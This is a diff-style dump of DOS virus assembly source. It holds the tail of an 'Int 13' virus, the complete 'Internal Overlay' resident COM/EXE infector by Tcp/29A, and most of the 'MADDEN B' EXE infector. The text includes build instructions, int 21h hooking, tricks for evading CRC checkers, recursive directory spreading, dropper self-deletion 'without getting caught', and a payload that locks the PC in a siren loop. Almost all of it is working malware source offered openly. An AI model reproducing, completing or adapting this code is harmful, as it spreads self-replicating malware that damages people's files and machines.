int Saved21
|
||||
|
||||
pop es
|
||||
pop si
|
||||
pop di
|
||||
|
||||
movs word ptr es:[di], es:[si]
|
||||
movs word ptr es:[di], es:[si]
|
||||
|
||||
pop di
|
||||
pop si
|
||||
jmp Exit2
|
||||
|
||||
VName db ' Int 13'
|
||||
|
||||
VEnd label byte
|
||||
VLen = offset VEnd - offset VStart
|
||||
|
||||
Code EndS
|
||||
End VStart
|
||||
Binary file not shown.
@@ -0,0 +1,451 @@
|
||||
;
|
||||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
; Internal Overlay ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
;
|
||||
; Here you have a virus i wrote some time ago... an old but still pretty
|
||||
; interesting virus (anyway, ain't so old... one year or less :) Its pe-
|
||||
; culiarity consists in that it infects COM and EXE files without modi-
|
||||
; fying their headers! ;) In this way, it doesn't get detected under a
|
||||
; very large number of CRC checkers which just compare the first bytes
|
||||
; and the length of the files whose info it stores.
|
||||
;
|
||||
; Internal Overlay (IntOv for friends :) does this by inserting an over-
|
||||
; lay loader at the entry point of the files it infects, and the corres-
|
||||
; ponding overlay -the virus- at the end of the file, appended to the
|
||||
; infected file in the traditional way :)
|
||||
;
|
||||
; It infects, as i told before, COM and EXE files on execution (4b00h)
|
||||
; and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with re-
|
||||
; location items in the entry point, unless this item is located in off-
|
||||
; set 7 (PkLited files have an item there) ;)
|
||||
;
|
||||
; Compiling instructions:
|
||||
;
|
||||
; tasm /m intov.asm
|
||||
; tlink intov.obj
|
||||
; exe2bin intov.exe intov.com
|
||||
|
||||
|
||||
assume cs:code,ds:code,ss:code,es:code
|
||||
org 0
|
||||
code segment
|
||||
|
||||
_BYTES = ((end_vir-start)+(ov_part-start)+15)
|
||||
_PARAG = _BYTES/16
|
||||
|
||||
start:
|
||||
|
||||
delta_ofs equ word ptr $+1
|
||||
mov si,100h ; Delta offset (precalc)
|
||||
; In dropper, 100h
|
||||
id_mark equ word ptr $+1
|
||||
mov cx,'<>' ; Length to search for, it will be the
|
||||
; id mark: '<>'... why not? :)
|
||||
reloc_pkl equ word ptr $+1
|
||||
mov bp,0000 ; For PkLite's relocation
|
||||
mov es,ds:[2ch] ; es-> environment
|
||||
xor ax,ax
|
||||
xor di,di
|
||||
repnz scasw ; Search for two consecutive zeros
|
||||
; Searching file name
|
||||
inc di
|
||||
inc di ; es:di -> file name
|
||||
push cs
|
||||
push ds
|
||||
push es
|
||||
push di
|
||||
push ds
|
||||
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov es,ax ; MCB access
|
||||
; ES-> MCB
|
||||
mov bx,es:[0003]
|
||||
sub bx,_PARAG+1
|
||||
pop es
|
||||
mov ah,4ah
|
||||
int 21h ; Free memory. If resident, doesn't return!
|
||||
mov ah,48h
|
||||
mov bx,_PARAG
|
||||
int 21h ; Want some memory
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov cx,offset(ov_part)
|
||||
push si
|
||||
xor di,di
|
||||
rep movsb ; Move it to reserved area
|
||||
pop si
|
||||
mov ax,offset(new_mcb)
|
||||
push es
|
||||
push ax
|
||||
retf ; Jump to reserved area
|
||||
|
||||
new_mcb:
|
||||
push ds
|
||||
pop es ; es:= old cs
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,3d00h
|
||||
int 21h ; Open the file
|
||||
xchg bx,ax ; bx:=handle
|
||||
push cs
|
||||
pop ds
|
||||
long_high equ word ptr $+1
|
||||
mov cx,0000
|
||||
long_low equ word ptr $+1
|
||||
mov dx,offset(ov_part) ; For the dropper
|
||||
mov ax,4200h
|
||||
int 21h ; Get set in file
|
||||
; Point to 'overlay'
|
||||
mov cx,offset(end_vir)
|
||||
mov ah,3fh
|
||||
mov dx,offset(ov_part)
|
||||
int 21h ; Read the 'overlay'
|
||||
mov ah,3eh ; We're up to here in the Entry Point
|
||||
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ Now, the virus overlay part ³
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
ov_part:
|
||||
int 21h ; Close file
|
||||
push si
|
||||
push si
|
||||
pop di
|
||||
mov si,offset(original)
|
||||
mov cx,offset(ov_part)
|
||||
rep movsb ; Restore original code in memory
|
||||
pop si
|
||||
push cs
|
||||
pop ax
|
||||
dec ax
|
||||
mov es,ax ; es-> MCB
|
||||
mov word ptr es:[0001],8 ; O.S. block
|
||||
mov ax,3521h ; Get and change int 21h
|
||||
int 21h
|
||||
mov ofs_int21,bx
|
||||
mov seg_int21,es
|
||||
mov ah,25h
|
||||
mov dx,offset(int_21)
|
||||
int 21h
|
||||
exec_host:
|
||||
pop ds ; PSP
|
||||
push si
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
xor bp,bp
|
||||
xor si,si
|
||||
xor di,di
|
||||
push ds
|
||||
pop es
|
||||
retf ; jump to host
|
||||
|
||||
c_com db 'COM'
|
||||
db 'EXE'
|
||||
db 'exe'
|
||||
db 'com'
|
||||
|
||||
c_21:
|
||||
pushf
|
||||
call dword ptr cs:[ofs_int21]
|
||||
ret
|
||||
|
||||
int_24: mov al,3
|
||||
iret
|
||||
|
||||
db '[Internal Overlay, Tcp / 29A]'
|
||||
|
||||
int_21:
|
||||
cmp ah,4ah ; Can be our call
|
||||
jne f_func
|
||||
push ax
|
||||
push di
|
||||
mov ax,'<>'
|
||||
sub ax,cx
|
||||
shr di,1
|
||||
sub ax,di
|
||||
inc ax ; If 0 -> our call
|
||||
pop di
|
||||
pop ax
|
||||
jnz f_func
|
||||
pop cx ; We're not interested in offset
|
||||
pop di ; Interested in code segment
|
||||
pop cx ; We're not interested in flags
|
||||
pop dx
|
||||
pop ds ; ds:dx -> file name
|
||||
mov ax,3d00h
|
||||
call c_21 ; Open file
|
||||
xchg ax,bx ; bx:=handle
|
||||
mov ds,di
|
||||
mov cx,[si+long_high] ; Restore data
|
||||
mov dx,[si+long_low]
|
||||
add dx,offset(original)-offset(ov_part)
|
||||
adc cx,0
|
||||
mov ax,4200h
|
||||
int 21h ; Postion on overlay's portion that
|
||||
; keeps original code
|
||||
mov dx,si
|
||||
mov ah,3fh
|
||||
mov cx,offset(ov_part)
|
||||
int 21h ; We read
|
||||
mov ah,3eh
|
||||
int 21h ; We close the file
|
||||
add [si+1],bp ; Reallocate Pklite's item (add 0 otherwise)
|
||||
jmp exec_host
|
||||
|
||||
f_func:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
mov di,dx
|
||||
mov al,0
|
||||
mov cx,666h ;-)
|
||||
repnz scasb
|
||||
sub di,4 ; filename.ext
|
||||
; ^
|
||||
pop ax
|
||||
push ax
|
||||
cmp ax,4b00h ; file execution?
|
||||
je is_exec
|
||||
cmp ah,3dh ; open-file?
|
||||
je check_ext
|
||||
end_21:
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
db 0eah ; jmp far
|
||||
ofs_int21 dw ?
|
||||
seg_int21 dw ?
|
||||
|
||||
check_ext:
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
mov si,offset(c_com)
|
||||
mov cx,4
|
||||
loop_ext: push si ; check valid extensions
|
||||
push di
|
||||
cmpsw
|
||||
jne next_ext
|
||||
cmpsb
|
||||
next_ext: pop di
|
||||
pop si
|
||||
je ext_ok
|
||||
add si,3
|
||||
loop loop_ext
|
||||
pop ds
|
||||
or cx,cx
|
||||
jz end_21
|
||||
ext_ok: pop ds
|
||||
is_exec:
|
||||
cmp byte ptr ds:[di-2],'D' ; Don't infect command.com
|
||||
jz end_21
|
||||
cmp byte ptr ds:[di-2],'d'
|
||||
jz end_21
|
||||
mov ax,3524h ; Read and prepare int 24h
|
||||
int 21h
|
||||
push es
|
||||
push bx
|
||||
mov ah,25h
|
||||
push ax ; 2524h
|
||||
push ds
|
||||
push dx
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset(int_24)
|
||||
int 21h
|
||||
pop dx
|
||||
pop ds
|
||||
mov ax,4300h
|
||||
int 21h ; Get attribs
|
||||
push cx
|
||||
push ds
|
||||
push dx
|
||||
xor cx,cx
|
||||
mov ax,4301h ; Reset all attribs
|
||||
int 21h
|
||||
jb rest_atribs
|
||||
mov ax,3d02h
|
||||
call c_21 ; Open the file I/O
|
||||
push cs
|
||||
pop ds
|
||||
xchg ax,bx ; bx:=handle
|
||||
mov ax,5700h
|
||||
int 21h ; Get time/date
|
||||
push dx
|
||||
push cx
|
||||
mov ah,3fh
|
||||
mov dx,offset(header)
|
||||
mov cx,1Ch
|
||||
int 21h ; Read file header
|
||||
mov ax,val_ip
|
||||
mov delta_ofs,ax
|
||||
xchg bp,ax ; bp:=val_ip
|
||||
cmp signature,'ZM' ; EXE?
|
||||
je exe
|
||||
; Assume it's a com
|
||||
cmp byte ptr signature,0e9h ; jmp?
|
||||
jne rest_hour
|
||||
mov ax,word ptr signature+1 ; Offset jmp
|
||||
add ax,3 ; Calculate file's offset
|
||||
mov delta_ofs,ax
|
||||
add delta_ofs,100h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
jz exe&com
|
||||
|
||||
rest_hour: mov ax,5701h ; Restore date/time
|
||||
pop cx
|
||||
pop dx
|
||||
int 21h
|
||||
mov ah,3eh ; We close
|
||||
int 21h
|
||||
rest_atribs: mov ax,4301h ; Restore attribs
|
||||
pop dx
|
||||
pop ds ; ds:dx -> file name
|
||||
pop cx
|
||||
int 21h
|
||||
pop ax ; ax:=2524h
|
||||
pop dx
|
||||
pop ds
|
||||
int 21h
|
||||
jmp end_21
|
||||
|
||||
exe:
|
||||
mov ax,header_size
|
||||
mov cx,16
|
||||
mul cx ; ax:=header length
|
||||
push ax
|
||||
mov ax,val_cs
|
||||
imul cx
|
||||
add ax,bp ; bp:=val_ip
|
||||
adc dx,0 ; dx:ax := cs:ip inside load module
|
||||
mov cx,relo_items ; Number of reallocation items
|
||||
jcxz items_ok
|
||||
push cx
|
||||
push ax
|
||||
push dx
|
||||
xor cx,cx ; Get on reallocation table
|
||||
mov dx,ofs_reloc
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
pop dx
|
||||
pop ax
|
||||
read_items:
|
||||
push ax
|
||||
push dx
|
||||
mov ah,3fh
|
||||
mov dx,offset(original)
|
||||
mov cx,20*4 ; Read 20 reallocaci¢n items
|
||||
int 21h
|
||||
mov si,dx
|
||||
mov di,-20*4
|
||||
pop dx
|
||||
pop ax
|
||||
process_item: pop cx
|
||||
push bx
|
||||
mov bx,[si]
|
||||
cmpsw ; inc si, inc si, inc di, inc di
|
||||
mov bp,[si]
|
||||
cmpsw ; inc si, inc si, inc di, inc di
|
||||
|
||||
sub bx,ax
|
||||
sbb bp,dx
|
||||
jnz next_item
|
||||
cmp bx,offset(ov_part) ; Is it part of code?
|
||||
jnbe next_item
|
||||
cmp bx,7 ; PkLite's code?
|
||||
pop bx
|
||||
jnz bad_item
|
||||
push bx
|
||||
next_item: dec cx
|
||||
pop bx
|
||||
jcxz items_ok
|
||||
or di,di ; We need read more items?
|
||||
push cx
|
||||
jnz process_item
|
||||
jz read_items
|
||||
items_ok:
|
||||
pop cx ; cx:= header length
|
||||
exe&com: add ax,cx
|
||||
adc dx,0 ; dx:ax := cs:ip offset in file
|
||||
push ax
|
||||
push dx
|
||||
mov cx,dx
|
||||
xchg ax,dx ; = mov dx,ax
|
||||
mov ax,4200h
|
||||
int 21h ; get on the entry point
|
||||
mov ah,3fh
|
||||
mov cx,offset(ov_part)
|
||||
mov dx,offset(original)
|
||||
int 21h ; Read original code
|
||||
sub ax,cx ; Have enough space?
|
||||
jc no_inf
|
||||
cmp pages,'<>' ; Id mark is in offset 4
|
||||
stc
|
||||
je no_inf
|
||||
mov ax,4202h ; Go to he end of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
mov long_high,dx ; Save file-offset of code
|
||||
mov long_low,ax
|
||||
mov ah,40h ; 'Stick' to the file
|
||||
mov cx,offset(end_vir)
|
||||
mov dx,offset(ov_part)
|
||||
int 21h
|
||||
no_inf: pop cx
|
||||
pop dx
|
||||
jc alr_inf
|
||||
mov reloc_pkl,0
|
||||
mov ax,4200h
|
||||
int 21h ; Return to cs:ip
|
||||
mov ah,40h
|
||||
mov cx,offset(ov_part)
|
||||
cwd
|
||||
int 21h ; Write new code on entry-point
|
||||
push cx
|
||||
bad_item: pop cx
|
||||
alr_inf: jmp rest_hour
|
||||
|
||||
end_vir:
|
||||
|
||||
original:
|
||||
header:
|
||||
signature dw 20cdh
|
||||
image_size dw ?
|
||||
pages dw ?
|
||||
relo_items dw ?
|
||||
header_size dw ?
|
||||
mim_mem dw ?
|
||||
max_mem dw ?
|
||||
stack_seg dw ?
|
||||
stack_ofs dw ?
|
||||
checksum dw ?
|
||||
val_ip dw ?
|
||||
val_cs dw ?
|
||||
ofs_reloc dw ?
|
||||
overlays dw ?
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,771 @@
|
||||
;The MADDEN B virus is an EXE file infector which can jump from directory to
|
||||
;directory and disk to disk. It attaches itself to the end of a file and
|
||||
;modifies the EXE file header so that it gets control first, before the host
|
||||
;program. When it is done doing its job, it passes control to the host program,
|
||||
;so that the host executes without a hint that the virus is there.
|
||||
|
||||
|
||||
.SEQ ;segments must appear in sequential order
|
||||
;to simulate conditions in actual active virus
|
||||
|
||||
|
||||
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||
|
||||
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||
;attaches itself to another EXE file. As such, the host program for this
|
||||
;installer simply tries to delete itself off of disk and terminates. That is
|
||||
;worthwhile if you want to infect a system with the virus without getting
|
||||
;caught. Just execute the program that infects, and it disappears without a
|
||||
;trace. You might want to name the program something more innocuous, though.
|
||||
;MADDEN B also locks the pc into a 'siren' warble when it runs out
|
||||
;of files to infect. MADDEN, included in this archive plays a fast country
|
||||
;song. (MADDEN will assemble to an .file using a86, then link to produce
|
||||
;infected .exe form)
|
||||
|
||||
HOSTSEG SEGMENT BYTE
|
||||
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||
|
||||
PGMSTR DB 'MADDENB.EXE',0
|
||||
|
||||
HOST:
|
||||
mov ax,cs ;we want DS=CS here
|
||||
mov ds,ax
|
||||
mov dx,OFFSET PGMSTR
|
||||
mov ah,41H
|
||||
int 21H ;delete this exe file
|
||||
mov ah,4CH
|
||||
mov al,0
|
||||
int 21H ;terminate normally
|
||||
HOSTSEG ENDS
|
||||
|
||||
|
||||
;Host program stack segment
|
||||
|
||||
HSTACK SEGMENT PARA STACK
|
||||
db 100H dup (?) ;100 bytes long
|
||||
HSTACK ENDS
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
;This is the virus itself
|
||||
|
||||
STACKSIZE EQU 100H ;size of stack for the virus
|
||||
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||
|
||||
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||
|
||||
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||
;ASM file is layed out, this program will look exactly like a simple program
|
||||
;that was infected by the virus.
|
||||
|
||||
VSEG SEGMENT PARA
|
||||
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||
|
||||
;data storage area comes before any code
|
||||
VIRUSID DW 0C8AAH ;identifies virus
|
||||
OLDDTA DD 0 ;old DTA segment and offset
|
||||
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||
ALLFILE DB '\*.*',0 ;search string for any file
|
||||
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||
LEVEL DB 0 ;depth to search directories for a file
|
||||
HANDLE DW 0 ;file handle
|
||||
FATTR DB 0 ;old file attribute storage area
|
||||
FTIME DW 0 ;old file time stamp storage area
|
||||
FDATE DW 0 ;old file date stamp storage area
|
||||
FSIZE DD 0 ;file size storage area
|
||||
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||
VCODE DB 1 ;identifies this version
|
||||
COUNT1 DW 8 ;delay counts used by 'siren' routine
|
||||
COUNT2 DW 3
|
||||
COUNT3 DW 20
|
||||
COUNT4 DW 10
|
||||
;--------------------------------------------------------------------------
|
||||
;MADDEN B virus main routine starts here
|
||||
VIRUS:
|
||||
push ax ;save startup info in ax
|
||||
mov ax,cs
|
||||
mov ds,ax ;set up DS=CS for the virus
|
||||
mov ax,es ;get PSP Seg
|
||||
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||
jnz REL1 ;conditions aren't met, go execute host program
|
||||
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||
call NEW_DTA ;set up a new DTA location
|
||||
call FIND_FILE ;get an exe file to attack
|
||||
jnz SIREN ;returned nz - no valid files left, siren time!
|
||||
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||
call INFECT ;move program code to file we found to attack
|
||||
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||
pop ax ;restore startup value of ax
|
||||
REL1: ;relocatable marker for host stack segment
|
||||
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||
cli ;interrupts off while changing stack
|
||||
mov ss,bx
|
||||
REL1A: ;marker for host stack pointer
|
||||
mov sp,OFFSET HSTACK
|
||||
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||
sti ;interrupts back on
|
||||
REL2: ;relocatable marker for host code segment
|
||||
jmp FAR PTR HOST ;begin execution of host program
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;First Level - Find a file which passes FILE_OK
|
||||
;
|
||||
;This routine does a complex directory search to find an EXE file in the
|
||||
;current directory, one of its subdirectories, or the root directory or one
|
||||
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||
;If you want to change the depth of the search, make sure to allocate enough
|
||||
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||
;functions 4EH and 4FH) on each level.
|
||||
;
|
||||
FIND_FILE:
|
||||
mov al,'\' ;set up current directory path in USEFILE
|
||||
mov BYTE PTR [USEFILE],al
|
||||
mov si,OFFSET USEFILE+1
|
||||
xor dl,dl
|
||||
mov ah,47H
|
||||
int 21H ;get current dir, USEFILE= \dir
|
||||
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||
jnz FF2 ;not the root
|
||||
xor al,al ;make correction for root directory,
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||
FF2: mov al,2
|
||||
mov [LEVEL],al ;search 2 subdirs deep
|
||||
call FINDBR ;attempt to locate a valid file
|
||||
jz FF3 ;found one - exit
|
||||
xor al,al ;nope - try the root directory
|
||||
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||
inc al ;al=1
|
||||
mov [LEVEL],al ;search one subdir deep
|
||||
call FINDBR ;attempt to find file
|
||||
FF3:
|
||||
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||
|
||||
;***************************************************************************
|
||||
;This routine enables MADDEN B virus to sound a siren
|
||||
;when it can't find a file to infect
|
||||
;**************************************************************************
|
||||
SIREN:
|
||||
cli ;no interrupts
|
||||
mov bp,15 ;we want to do hole thing 15 times
|
||||
mov al,10110110xb ;set up channel 2
|
||||
out 43h,al ;send it to port
|
||||
AGIN: mov bx,500 ;start frequency high
|
||||
BACKERX:mov ax,bx ;place it in (ax)
|
||||
out 42h,al ;send LSB first
|
||||
mov al,ah ;move MSB into al
|
||||
out 42h,al ;send it next
|
||||
in al,61h ;get value from port
|
||||
or al,00000011xb ;ORing it will turn on speaker
|
||||
out 61h,al ;send number
|
||||
mov cx,COUNT1 ;number of delay loops
|
||||
LOOPERX:loop LOOPERX ;so we can hear sound
|
||||
inc bx ;increment (bx) lowers frequency pitch
|
||||
cmp bx,4000 ;have we reached 4000
|
||||
jnz BACKERX ;if not do again
|
||||
BACKERY:mov ax,bx ;if not put (bx) in (ax)
|
||||
out 42h,al ;send LSB to port
|
||||
mov al,ah ;place MSB in al
|
||||
out 42h,al ;send it now
|
||||
in al,61h ;get value from port
|
||||
or al,00000011xb ;lets OR it
|
||||
out 61h,al ;time to turn on speaker
|
||||
mov cx,COUNT2 ;loop count
|
||||
LOOPERY:loop LOOPERY ;delay so we can hear sound
|
||||
dec bx ;decrementing (bx) rises frequency pitch
|
||||
cmp bx,500 ;have we reach 500
|
||||
jnz BACKERY ;if not go back
|
||||
mov si,COUNT3 ;place longer delay in (si)
|
||||
mov di,COUNT4 ;place longer delay in (di)
|
||||
push si ;push it on the stack
|
||||
push di ;push it on the stack
|
||||
mov si,COUNT1 ;place first delay in (si)
|
||||
mov di,COUNT2 ;place second delay in (di)
|
||||
mov COUNT3,si ;save 1st in COUNT3 for next exchange
|
||||
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
|
||||
pop di ;pop longer delay off stack
|
||||
pop si ;pop longer delay off stack
|
||||
mov COUNT2,di ;place it in the second
|
||||
mov COUNT1,si ;place it in the first
|
||||
dec bp ;decrement repeat count
|
||||
jnz AGIN ;if not = 0 do hole thing again
|
||||
in al,61h ;we be done
|
||||
and al,11111100xb ;this number will turn speaker off
|
||||
out 61h,al ;send it
|
||||
sti ;enable interrupts
|
||||
jmp SIREN
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;SEARCH FUNCTION
|
||||
;---------------------------------------------------------------------------
|
||||
;Second Level - Find in a branch
|
||||
;
|
||||
;This function searches the directory specified in USEFILE for EXE files.
|
||||
;after searching the specified directory, it searches subdirectories to the
|
||||
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||
;routine exits with Z set and leaves the file and path in USEFILE
|
||||
;
|
||||
FINDBR:
|
||||
call FINDEXE ;search current dir for EXE first
|
||||
jnc FBE3 ;found it - exit
|
||||
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||
jz FBE1 ;no - exit
|
||||
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||
inc di
|
||||
push di ;store pointer to first *
|
||||
call FIRSTDIR ;get first subdirectory
|
||||
jnz FBE ;couldn't find it, so quit
|
||||
FB1: ;otherwise, check it out
|
||||
pop di ;strip \*.* off of USEFILE
|
||||
xor al,al
|
||||
stosb
|
||||
mov di,OFFSET USEFILE
|
||||
mov bx,OFFSET DTA2+1EH
|
||||
mov al,[LEVEL]
|
||||
mov dl,2BH ;compute correct DTA location for subdir name
|
||||
mul dl ;which depends on the depth we're at in the search
|
||||
add bx,ax ;bx points to directory name
|
||||
mov si,bx
|
||||
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||
push di ;save position of first letter in sub_dir name
|
||||
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||
jz FBE2 ;if successful, exit
|
||||
call NEXTDIR ;get next subdirectory in this directory
|
||||
jz FB1 ;go check it if search successful
|
||||
FBE: ;else exit, NZ set, cleaned up
|
||||
inc [LEVEL] ;increment the level counter before exit
|
||||
pop di ;strip any path or file spec off of original
|
||||
xor al,al ;directory path
|
||||
stosb
|
||||
FBE1: mov al,1 ;return with NZ set
|
||||
or al,al
|
||||
ret
|
||||
|
||||
FBE2: pop di ;successful exit, pull this off the stack
|
||||
FBE3: xor al,al ;and set Z
|
||||
ret ;exit
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part A - Find an EXE file
|
||||
;
|
||||
;This function searches the path in USEFILE for an EXE file which passes
|
||||
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||
;with the c flag set. It will search a whole directory before giving up.
|
||||
;
|
||||
FINDEXE:
|
||||
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||
mov ah,1AH
|
||||
int 21H
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET EXEFILE
|
||||
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||
push di ;save position of '\' before '*.EXE'
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,3FH ;search first for any file
|
||||
mov ah,4EH
|
||||
int 21H
|
||||
NEXTEXE:
|
||||
or al,al ;is DOS return OK?
|
||||
jnz FEC ;no - quit with C set
|
||||
pop di
|
||||
inc di
|
||||
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||
mov di,OFFSET USEFILE
|
||||
mov si,OFFSET DTA1+1EH
|
||||
call CONCAT ;setup file name '\dir\filename.exe'
|
||||
dec di
|
||||
push di
|
||||
call FILE_OK ;yes - is this a good file to use?
|
||||
jnc FENC ;yes - valid file found - exit with c reset
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTEXE ;and go test it for validity
|
||||
|
||||
FEC: ;no valid file found, return with C set
|
||||
pop di
|
||||
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||
stc
|
||||
ret
|
||||
FENC: ;valid file found, return with NC
|
||||
pop di
|
||||
ret
|
||||
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Third Level - Part B - Find a subdirectory
|
||||
;
|
||||
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||
;if not, it returns with NZ set.
|
||||
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||
;NEXTDIR, which does the search next.
|
||||
;
|
||||
FIRSTDIR:
|
||||
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||
push dx ;save it
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov dx,OFFSET USEFILE
|
||||
mov cx,10H ;search for a directory
|
||||
mov ah,4EH ;do search first function
|
||||
int 21H
|
||||
NEXTD1:
|
||||
pop bx ;get pointer to search table (DTA)
|
||||
or al,al ;successful search?
|
||||
jnz NEXTD3 ;no, quit with NZ set
|
||||
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||
jz NEXTDIR ;no, find another
|
||||
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||
;else it was dir header entry, so fall through to next
|
||||
NEXTDIR: ;second entry point for search next
|
||||
call GET_DTA ;get proper DTA address again - may not be set up
|
||||
push dx
|
||||
mov ah,1AH ;set DTA
|
||||
int 21H
|
||||
mov ah,4FH
|
||||
int 21H ;do find next
|
||||
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||
|
||||
NEXTD2:
|
||||
xor al,al ;successful exit, set Z flag
|
||||
NEXTD3:
|
||||
ret ;exit routine
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||
;higher level search, and we don't want the higher level being ruined by
|
||||
;corrupted data.
|
||||
;
|
||||
GET_DTA:
|
||||
mov dx,OFFSET DTA2
|
||||
mov al,2BH
|
||||
mul [LEVEL]
|
||||
add dx,ax ;return with dx= proper dta offset
|
||||
ret
|
||||
|
||||
;--------------------------------------------------------------------------
|
||||
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||
;destination (or the first character of the second string, after moved).
|
||||
;
|
||||
CONCAT:
|
||||
mov al,byte ptr es:[di] ;find the end of string 1
|
||||
inc di
|
||||
or al,al
|
||||
jnz CONCAT
|
||||
dec di ;di points to the null at the end
|
||||
push di ;save it to return to the caller
|
||||
CONCAT2:
|
||||
cld
|
||||
lodsb ;move second string to end of first
|
||||
stosb
|
||||
or al,al
|
||||
jnz CONCAT2
|
||||
pop di ;and restore di to point to end of string 1
|
||||
ret
|
||||
